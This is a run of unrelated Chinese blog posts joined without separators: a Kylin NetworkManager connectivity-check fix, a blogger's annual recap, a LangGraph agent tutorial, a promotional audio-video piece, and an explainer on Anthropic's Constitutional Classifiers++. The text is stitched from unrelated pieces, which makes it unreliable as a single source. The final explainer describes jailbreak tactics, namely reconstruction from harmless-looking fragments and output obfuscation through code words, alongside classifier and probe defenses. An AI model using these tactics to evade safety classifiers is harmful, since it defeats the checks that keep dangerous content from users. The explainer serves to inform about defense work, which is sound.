【问题描述】

现象：

某些机器系统右下角的网络图标显示感叹号（如下图所示），但是网络又是正常使用的，我们该如何处理呢？

原因分析：

麒麟系统有个网络连通检测地址，会去测试/etc/NetworkManager/NetworkManager.conf文件里定义的网址的连通性，不能连通该网址就会有相关的网络异常提示。

【解决办法】

方法1：禁用网络连通检测

1. 编辑/etc/NetworkManager/NetworkManager.conf文件，如下图所示，在[connectivity]下方增加一行enabled=false内容。然后保存并关闭文件。

   sudo  pluma  /etc/NetworkManager/NetworkManager.conf

   如下图所示：
   

2. 执行以下命令，重启NetworkManager服务：

   sudo systemctl restart NetworkManager

3. 查看网络状态是否已经不显示感叹号了？如果还存在，重启系统再看一下。

方法2：禁用网络连通检测

网络连接性检测的默认网址 www.cnnic.net.cn 无法访问导致的。为了解决这个问题，将这个网址修改为可以正常访问的网址，例如 www.baidu.com ，或者内网里可以正常访问的网址。

操作步骤

1. 修改配置文件：

   sudo  pluma  /etc/NetworkManager/NetworkManager.conf

2. 编辑内容：
   找到网络连接性检测的相关设置，将网址 http://www.cnnic.net.cn 修改为 http://www.baidu.com ，然后保存并退出编辑，如下图所示：
   

3. 重启NetworkManager服务（或者重启操作系统）：

   $ sudo  systemctl  restart  NetworkManager

本文由mdnice多平台发布

大家好，我是Java烘焙师，近半年重启了技术博客的更新，在春节前做个总结吧。

关于我：大厂架构师，有团队管理经验，热爱技术，平时喜欢思考总结。

写作初衷：

• 功在平时：定期把自己的经验和思考总结下来，能给别人讲清楚，才算真的理解透彻了
• 锻炼总结表达能力：除了自身技术要过硬，还得会表达呈现、分清主次，避免出现做了90分、但只能讲出70分的情况

更新慢的原因：平时工作忙，只能在业余时间抽空写作，同时为了保证每篇原创文章的质量，会尽可能系统性地梳理文章主题方向，查缺补漏。
出版级品质：这里得举几个例子来佐证，否则有吹牛的嫌疑

• 有几位出版社编辑联系过出书意向，但考虑到写书需要耗费大量时间和精力，暂时没有计划，只想着先把技术博客做好
• 在曾经的developerWorks网站发表过2篇文章（有稿费），其中一篇被CSDN转载到首页；这2篇文章目前没有在个人技术博客上重发
• 在曾经工作的公司参与过书籍的编写（有图书ISBN编号）

2025年统计

统计2025年+2026年1月发布的文章（2月7日统计）：

• 新增阅读总量，全网超过4.3万
• 阅读总量第一的文章，全网超过1.1万：架构师必备：实时对账与离线对账
• 点赞总量第一的文章，全网66次：架构师必备：缓存更新模式总结
• 评论总量第一的文章：架构师必备：限流方案选型（使用篇）

其它文章如下：

• 架构师必备：灰度方案汇总
• 架构师必备：后端程序员需要了解的数仓知识
• 架构师必备：限流方案选型（原理篇）
• 架构师必备：业务扩展模式选型

文章目录

累计发布了25篇文章，可以分成以下几类：

架构：“架构师必备”系列

• 架构师必备：灰度方案汇总
• 架构师必备：后端程序员需要了解的数仓知识
• 架构师必备：限流方案选型（原理篇）
• 架构师必备：限流方案选型（使用篇）
• 架构师必备：缓存更新模式总结
• 架构师必备：实时对账与离线对账
• 架构师必备：业务扩展模式选型
• 后端程序员生产力工具合集
• 架构师必备：系统容量现状checklist
• 架构师必备：HBase行键设计与应用
• 架构师必备：多维度查询的最佳实践
• 架构师必备：Redis的几种集群方案
• 架构师必备：本地缓存原理和应用
• 架构师必备：系统性解决幂等问题
• 架构师必备：如何做容量预估和调优
• 架构师必备：巧用Canal实现异步、解耦的架构
• 架构师必备：MySQL主从延迟解决办法
• 架构师必备：MySQL主从同步原理和应用
• 应用开发中的存储架构进化史——从起步到起飞

Java

• Java反射原理和实际用法
• Spring cache源码分析
• Spring @Async的异常处理
• Spring Boot应用中的异常处理
• Java子线程中的异常处理（通用）

树莓派实战

side project应用实战，目前只写了一篇，还有很多内容可写。而且不止是树莓派，部署在云端也可以。

• 树莓派实战：微信机器人（itchat实现）

2026展望

坚持业余时间创作。
后续除了继续更新已有系列，还会尝试扩充新系列，比如AI应用、有意思的开源项目、踩坑分享、职场感悟等。

让我们一起做长期主义者，慢慢变强吧！欢迎交流讨论。

在之前的文章中，我们深入讲解了如何使用 LangChain + Ollama 构建本地大模型调用方案。
但是，随着业务需求不断增长，我们发现仅仅调用模型已经远远不够——我们希望构建具备条件判断、流程控制、工具调用以及状态记忆的智能 Agent。

这时候，LangChain 的 create_agent + LangGraph 的 StateGraph 就成为了真正面向工程的利器。

今天，我们就来讲清楚：

什么是 LangGraph？为什么它是构建可控 Agent 的未来？如何在最新 API 下用 create_agent 和 StateGraph 构建有状态智能体？

一、为什么要用 LangGraph 构建 Agent？

在 LangChain 最新版本中，Agent API 已经全面升级，官方推荐使用 create_agent 构建生产级智能体，并基于 LangGraph 对内部流程进行图结构编排。

create_agent
是一个高阶接口，用于构建图式 Agent。它内部依赖 LangGraph 执行器，在一个状态图中逐步完成模型推理、工具调用、决策流跳转等逻辑。

过去我们可能使用 Chain + Logic 组合来处理流程，但随着逻辑复杂度增加，线性写法很难维护、扩展和调试。
而 LangGraph 的图结构 可以让我们：

• 用 状态（state） 表达全局对话或任务信息
• 用 节点（nodes） 表达流程逻辑
• 用 边（edges） 表达不同分支与条件
• 用 记忆插件 实现短期和长期记忆

这组合起来，就形成了一个可控、有状态流程的智能 Agent。

二、什么是 StateGraph？

StateGraph 是 LangGraph 的核心抽象，它表示一个具有全局状态和节点流转逻辑的图。
每个节点本质上是一个函数，这个函数：

• 接收当前全局状态
• 返回修改后的状态或跳转指令

它非常适合把“复杂流程问题”映射为“图状态机”，无论是对话、工具调用还是多步骤任务。

简化后的 StateGraph 工作流程如下：

StateGraph(StateType)
    ├── add_node(name, function)
    ├── add_edge(source, target)
    └── compile()
        → graph.invoke({state input})

解释一下：

• StateType：定义全局状态结构
• add_node：定义节点行为逻辑
• add_edge：定义节点间的流程跳转关系

三、新 API：create_agent 如何使用？

从 LangChain 最新版本开始，旧的 create_react_agent 已被废弃，统一使用 create_agent。

一个最简单的示例：

from langchain.agents import create_agent
from langchain_openai import ChatOpenAI

model = ChatOpenAI(
    model="qwen3:8b",
    base_url="http://localhost:11434/v1",
    api_key="your api key",
)

agent = create_agent(
    model=model,
    tools=[],
    system_prompt="你是一个智能助手，负责处理用户请求。",
)

response = agent.invoke({
    "messages": [{"role": "user", "content": "什么是 LangGraph？"}]
})
print(response)

📌 重点说明：

• model 可以是任何支持工具调用的聊天模型
• tools 是 Agent 可调用的外部能力（如检索、代码执行等）
• system_prompt 是 Agent 的基础角色指令

实际上，create_agent 内部会构建一个 StateGraph，并把模型 + 工具节点组合成可执行流程。

四、结合 StateGraph：构建更复杂的图式 Agent

如果你希望在 Agent 内部实现更复杂的流程（如输入校验、分支工具调用、状态记录等），可以直接使用 StateGraph。

下面是一个包含两个节点的示例：通过 LLM 生成回答并记录状态。

from typing import TypedDict, Annotated
from langchain_openai import ChatOpenAI
from langgraph.graph import StateGraph, END
from langgraph.graph.message import add_messages
from langchain_core.messages import HumanMessage

# 1. 定义全局状态
class ChatState(TypedDict):
    messages: Annotated[list, add_messages]

# 2. 初始化模型
llm = ChatOpenAI(
    model="qwen3:8b",
    base_url="http://localhost:11434/v1",
    api_key="your api key",
)

# 3. 定义节点
def chat_node(state: ChatState):
    response = llm.invoke(state["messages"])
    return {"messages": [response]}

# 4. 构建 StateGraph
graph = StateGraph(ChatState)
graph.add_node("chat", chat_node)
graph.set_entry_point("chat")
graph.add_edge("chat", END)
graph = graph.compile()

# 生成可视化图
with open("/Users/zhoupb/workspace-ai/atnk-ai/data/demo.png", "wb") as f:
    f.write(graph.get_graph(xray=True).draw_mermaid_png())

# 5. 调用
result = graph.invoke(
    {"messages": [HumanMessage(content="用一句话介绍什么是 LangGraph？")]},
)
print(result["messages"][-1].content)

在这个例子中：

• ChatState：全局状态结构
• chat_node：处理模型逻辑的节点
• edges：从起点直接进入 chat_node，并更新消息状态

你可以在图内使用更复杂的节点连接和条件分支。(docs.langchain.org.cn)

五、记忆（Memory）如何集成？

智能体的核心能力之一，就是记住之前的对话或操作历史。

LangGraph 提供了开箱即用的短期记忆机制，基于 检查点（checkpoint） 存储状态。以下是短期记忆的示例：

from langgraph.checkpoint.memory import InMemorySaver

#...省略

# 使用检查点保存状态
checkpointer = InMemorySaver()
graph = graph.compile(checkpointer=checkpointer)

# 使用同一个 thread_id，触发“记忆”
config = {"configurable": {"thread_id": "local-chat"}}

# 第一轮
result = graph.invoke(
    {"messages": [HumanMessage(content="用一句话介绍什么是 LangGraph？")]},
    config=config
)
print(result["messages"][-1].content)
print("-" * 100)

# 第二轮（保留上下文）
result = graph.invoke(
    {"messages": [HumanMessage(content="用一句话介绍它和 LangChain 的关系？")]},
    config=config
)
print(result["messages"][-1].content)

同一个 thread_id 下的状态会被持续保存，实现短期记忆，非常适合多轮对话场景。

六、工程化建议：可控、可视化与部署

在真实工程场景下，图式 Agent 的能力远不止示例那么简单：

1️⃣ 自定义状态扩展

可以在 Agent 内定义更多状态字段，比如用户偏好、执行路径、决策数据等：

class CustomState(TypedDict):
    messages: list
    user_settings: dict

调用 create_agent 时，通过 state_schema 参数传入，Agent 就会自动维护这些字段。

2️⃣ 集成工具能力

Agent 可以调用检索、代码执行、数据库查询等工具。
工具可以作为节点，或者直接传入 tools 列表，由 Agent 在执行过程中调用，显著增强实际能力。

3️⃣ 可观测与调试

结合 LangSmith Trace 等可观测平台，可以：

• 可视化执行路径
• 追踪状态变化
• 调试复杂流程

大幅提高生产环境的可维护性。

七、工程化细节总结

八、结语：从链到图

如果说传统 Chain 是线性的能力组合，那么 StateGraph 就是有状态的全局控制流机；
如果说 Chain 是工具驱动流程片段，Graph 就是工程级的智能协同平台。

在 Agent 需求越来越复杂的今天，单靠 Chain 已无法应对多步骤决策、逻辑分支和记忆维护，而 LangGraph 的图式设计正是为可控 Agent 而生。

如果你正在做：

• 多步对话机器人
• 带外部工具调用的智能体
• 具有长期记忆的应用
• 需要可视化与调试的生产系统

那么，从 LangChain 到 LangGraph 的升级，将是你最值得投入的一条路线。

国产音视频技术新突破：自主可控解决方案的崛起在信息技术自主创新浪潮的推动下，各类组织对音视频通信技术的要求已发生深刻变化。过去单纯追求功能完备的方案已难以满足当前环境，市场日益重视技术的国产化属性、安全可控性以及生态兼容能力。传统解决方案往往在适配国产软硬件体系、保障数据传输安全、支持多样化终端等方面存在局限，亟需新一代技术架构来填补这一空白。

全面适配国产化环境：打破生态壁垒为应对国产化信息技术生态的独特需求，一批专注于自主研发的企业推出了新一代音视频通信解决方案。这些方案以“自主可控、安全合规”为设计原则，致力于为政府、金融、能源及大型企业提供符合国产化要求的定制化服务。其中，代表性技术已实现与主流国产芯片平台（如鲲鹏、飞腾、龙芯、兆芯等）的深度适配，并全面兼容统信UOS、麒麟软件等国产操作系统。通过对底层媒体处理引擎的优化重构，确保了在不同硬件平台和操作系统上都能保持稳定的性能输出和流畅的用户体验，有效解决了跨平台兼容性难题。在音频设备适配方面，新一代解决方案提供了智能化的音频路由管理能力，支持在有线耳机、蓝牙设备、内置扬声器等多种音频输出方式间无缝切换。这一设计不仅提升了跨设备使用的便利性，也降低了在多终端场景下的配置复杂度。构建端到端安全体系：筑牢数据防护屏障在信息安全日益重要的今天，音视频通信平台必须具备多层次的安全防护能力。新一代解决方案从数据传输、存储到访问控制等多个维度构建了完整的安全体系。在数据传输层面，采用符合国家密码管理要求的加密算法，对音视频流、信令控制及文件传输等全过程进行加密保护，确保数据在传输过程中的机密性和完整性。同时，支持私有化部署模式，允许用户将系统部署在本地数据中心或专属云环境中，实现数据的完全自主管控。在访问控制方面，提供了细粒度的权限管理功能，管理员可根据组织架构和职责分工设置差异化的会议权限。结合动态水印、实名认证、参会密码等多重验证机制，有效防止信息泄露和未授权访问，特别适用于对保密性要求较高的政务、金融、司法等领域。优化网络适应能力：保障复杂环境下的通信质量实际应用环境中，网络条件往往存在较大差异。为应对这一挑战，新一代音视频技术引入了智能网络感知与自适应调节机制。系统能够实时监测网络带宽、延迟、抖动等指标，动态调整视频分辨率、帧率和编码参数，在网络波动时优先保障语音通信的连续性，确保在各种网络条件下都能提供可用的通信服务。针对网络丢包问题，采用了前向纠错、丢包重传等混合恢复技术，在网络丢包率达到一定阈值时仍能维持基本的通话功能。这一特性对于网络基础设施相对薄弱的地区、移动办公场景以及应急指挥等特殊环境具有重要价值。降低开发集成门槛：提供灵活易用的技术组件为加速技术落地进程，新一代解决方案提供了完善的开发支持体系。通过模块化的SDK设计和丰富的API接口，开发者可以根据实际需求灵活选择集成范围，快速将音视频能力嵌入现有业务系统中。同时，提供可高度自定义的UI组件库，支持界面风格、布局、功能的灵活配置，大幅降低了二次开发的工作量和技术门槛。全周期服务支持：助力项目顺利实施除了技术产品本身，服务团队还构建了覆盖需求分析、方案设计、开发集成、上线运维的全生命周期支持体系。提供包括开发文档、示例代码、集成指南在内的完整技术资料，并配备专业技术支持团队，为客户提供定制化的咨询服务和实施指导。针对特定行业的特殊需求，还可提供专项技术支持和联合开发服务，确保解决方案与业务场景的深度融合。展望未来随着信息技术应用创新产业的快速发展，具备自主知识产权、符合国家安全标准、适配国产化生态的音视频通信技术，将成为推动千行百业数字化转型的重要基础设施。未来，相关技术提供商将继续深化在国产化适配、安全增强、性能优化等方面的探索，拓展在远程协作、智慧教育、数字医疗、工业互联网等更多领域的应用，为构建安全可控的数字中国贡献力量。

大模型安全这事儿，说白了就是一场“攻防拉扯”：一边是越狱（jailbreak）天天整花活儿，试图绕过规则套取危险内容；另一边是模型厂商不断加护栏——但护栏加多了，用户又会骂：“我就问个正经问题，你咋也拒绝？” 😅

Anthropic 这篇研究讲的就是：如何在“更难被越狱”和“别乱拒绝正常请求”之间，找一个不那么反人类的平衡点。结论很炸裂：他们搞出了 Constitutional Classifiers++（下一代宪法分类器），把额外算力开销压到 约 1%，同时把误拒率砍到更低，还宣称目前没发现“通用越狱”（universal jailbreak）。

来，拆开看看它到底干了啥，为什么这次看起来不像“又一层更凶的拒绝器”，而更像一个真正能上生产的安全系统。

1）先复习一下：什么是“宪法分类器”？为什么不是简单的敏感词过滤？

传统做法很多都像“保安看门人”：你说了敏感词？拦。你问了危险话题？拦。
但越狱最擅长的就是“绕开关键词”，比如换称呼、打哑谜、拆成几段，甚至让模型自己把隐含信息拼回去。

Anthropic 的“宪法分类器”思路更像：给模型一套自然语言写的规则（constitution），用这些规则生成大量合成数据，再训练一个分类器去判断：这段输入/输出是不是在试图跨越红线。

他们给过一个典型边界：可以辅导大学化学作业，但不能协助合成受管制的危险化学品。
（这点很关键：不是“化学一律不许聊”，而是“允许的学术内容”和“不可协助的危险路径”要分得更细。）

嗯。。。小D还知道有人发的关键词可以生成18+的内容，不过很快被修复了！[得意]

第一代宪法分类器效果其实已经很能打：据文中描述，它把越狱成功率从 86% 压到 4.4%，相当于挡住了绝大多数会绕过模型内置安全训练的攻击。

但问题来了：好用 ≠ 好部署。

2）第一代的“代价账单”：更贵 + 更容易误拒绝

第一代强是强，但也有两笔现实成本：

• 算力成本上升约 23.7%：这对线上服务是实打实的钱；
• 无害请求的拒绝率上升 0.38%：别小看这点——用户体验被“误拒绝”恶心一次，心里小本本能记三年。

更要命的是：他们还做过漏洞悬赏（bug bounty），结果还是被找到了一个“通用越狱”。
也就是说：贵了、凶了，但仍然不是“绝对无敌”。

所以第二代的目标就很明确：要更抗打，还要更便宜，更别乱拒绝。

3）越狱在进化：两类新打法，把“只看输出”的护栏骗得团团转

研究里点名了两类很典型、也很阴的攻击方式：

A. Reconstruction（重构攻击）

把危险信息拆成一段段“看起来人畜无害”的碎片，然后让模型在最后把碎片拼起来。
比如把恶意请求藏在一堆函数、注释、配置片段里，指令却装得像“帮忙整理代码”。

B. Output obfuscation（输出混淆攻击）

输出看起来很正常，但其实在“打暗号”。
例如把危险化学品换成“食用香精”的代称，或者用隐喻、谜语、映射，把有害概念伪装成无害概念。
如果分类器只盯着输出文本，很容易被糊弄过去。

更刺激的是：越狱不仅会骗过护栏，还会让模型能力出现波动。文中提到，在某些越狱方式影响下，GPQA Diamond 这类高难度基准的表现会明显下滑，而且不同越狱方式导致的下降幅度不一样——这意味着攻击者可能继续迭代出“既能越狱，又不太伤模型能力”的新套路。

一句话：攻方还在升级，防方不能只靠“更严的拒绝”。

4）核心升级：从“单向检查”到“看完整对话”，再到“两段式升级打怪”

这次的最大思路变化有两个。

4.1 用“Exchange classifier”替代“输入/输出分开看”

第一代的一个软肋是：输入和输出分开评估时，缺少“上下文关联”。
但很多越狱恰恰是靠“输入里埋暗号，输出里用暗号回应”，单看任何一边都很无害，一拼在一起就很危险。

于是他们做了一个 exchange classifier：同时看输入+输出这一整个“交换（exchange）”，让判断基于上下文关联。
在人类红队测试里，这能把越狱成功率再砍半——但代价是算力增加 50%。
（看到这里很多人会皱眉：这不又回到“安全靠烧钱”了吗？别急，后面才是重点。）

4.2 级联（cascade）架构：先便宜筛一遍，再把“可疑的”交给更强的判官

为了不把所有请求都拉去做重型检查，他们搞了一个两阶段系统：

1. 第一阶段：轻量筛查（便宜、快）
2. 第二阶段：更强分类器（贵、准）只处理“第一阶段觉得可疑的那一小撮”

这设计很聪明：第一阶段可以容忍更高的误报，因为它不是直接拒绝用户，而是“升级处理”——类似：基层客服觉得你这事儿有点敏感，先转交主管复核，不是当场把你轰出门。

结果就是：既便宜，又不那么容易误拒绝。

5）最“黑科技”的部分：用模型内部激活做探针（probe），几乎“白嫖算力”

真正让成本降到 ~1% 的关键，是他们引入了 internal probe classifiers（内部探针分类器）。

简单理解：模型在生成文本时，会产生大量内部状态（激活）。当它遇到可疑请求时，内部往往已经出现类似“这不太对劲”的信号——就像人类的直觉先抖一下，嘴上还没说“我拒绝”。

他们做的事是：直接探测这些内部激活模式，用一个线性探针快速判断“这事儿像不像有害”。因为这些计算本来就发生在模型里，所以额外成本非常低，近似“顺手摸一下脉搏”。

更妙的是：内部探针和外部分类器是互补的——外部看文本表面，内部看模型“心里怎么想”。攻击者可以花式包装文字，但要精准操控内部表征，难度更高。

最终的生产级组合拳是：

• 线性探针：全量筛查
• 探针+分类器的组合：对可疑 exchange 做最终裁决

6）结果有多夸张？更低误拒 + 更低攻击成功率 + 成本只加 1%

文中给了几个很关键的数字（别眨眼）：

• 在真实流量部署中，无害请求的拒绝率做到 0.05%，相比原系统下降了 87%。
  这意味着：用户正常问问题，被“误伤”的概率更低了。
• 红队测试累计 1,700+ 小时，约 198,000 次尝试，只发现 一个高风险漏洞，对应检测率 0.005/千次查询（极低）。
• 目前还没发现通用越狱（至少在他们已测试范围内）。
• 额外算力开销：如果应用在某些 Opus 级别流量上，整体大约 ~1%。

翻译成人话就是：比上一代更能打、更少误伤，还几乎不怎么贵。
这才是“能上生产”的味道，不是实验室爽文。

7）对行业意味着什么？安全不再只是“拒绝按钮”，而是“分层防御体系”

很多人理解的大模型安全，是一句话：“不该答的别答。”
但真正的工程化安全更像现代风控：

• 低成本大范围筛查（别让系统被打爆）
• 高精度小范围复核（别误伤正常用户）
• 内部信号 + 外部文本双视角（别只看表面）
• 持续红队与自动化对抗（别以为一次上线就万事大吉）

而这篇文章的价值就在于：它把“安全”从一个单点模块，升级成了一个可迭代、可度量、成本可控的系统工程。

结语

真正的进步，是“更安全”不再等于“更难用”✅

大模型越强，越狱也会越狡猾，这是逃不掉的“军备竞赛”。但用户也不可能接受一个动不动就拒绝、体验像铁门的 AI。

Constitutional Classifiers++ 的思路很现实：
让大多数请求轻装通过，让少数可疑请求重装审查；既看你说了什么，也看模型内部觉得你想干什么。

这就像把安检从“见人就盘问”升级成“先过门检，再抽检复核，重点人群再上人工”。不光更安全，还更不烦人。

接下来更值得期待的是他们提到的方向：把分类器信号更深地融合进生成过程、用自动化红队持续产出训练数据、在灰区边界上做更精准的“允许/拒绝”判定。
毕竟安全这事儿没有终点，只有“今天比昨天更不容易被玩坏”😄

喜欢就奖励一个“👍”和“在看”呗~